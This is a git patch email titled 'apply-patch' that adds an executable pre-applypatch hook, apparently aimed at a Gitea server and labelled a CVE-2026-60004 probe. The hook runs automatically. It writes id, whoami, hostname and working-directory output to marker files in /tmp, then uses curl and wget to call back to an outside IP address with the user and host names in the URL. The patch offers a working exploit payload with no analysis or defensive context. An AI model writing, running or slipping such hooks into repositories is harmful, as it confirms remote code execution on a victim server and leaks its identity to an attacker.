From 2d2840dc46ff37d3e1c3755a5860f3092c900a9e Mon Sep 17 00:00:00 2001
From: dev81266 <dev81266@mail.local>
Date: Wed, 29 Jul 2026 08:02:50 +0800
Subject: [PATCH] apply-patch

---
 hooks/pre-applypatch | 11 +++++++++++
 1 file changed, 11 insertions(+)
 create mode 100755 hooks/pre-applypatch

diff --git a/hooks/pre-applypatch b/hooks/pre-applypatch
new file mode 100755
index 0000000..a92d08e
--- /dev/null
+++ b/hooks/pre-applypatch
@@ -0,0 +1,11 @@
+#!/bin/sh
+# CVE-2026-60004 probe
+echo "PWNED_$(date +%s)" > /tmp/gitea_pwn_marker
+id > /tmp/gitea_pwn_id
+whoami >> /tmp/gitea_pwn_id
+hostname >> /tmp/gitea_pwn_id
+pwd >> /tmp/gitea_pwn_id
+# Callback via curl (timeout 3s to prevent blocking)
+curl -s -m 3 http://202.79.169.91:28016/pwned_id_$(whoami)_$(hostname) || true
+# Callback via wget
+wget -qO- --timeout=3 http://202.79.169.91:28016/pwned_wget || true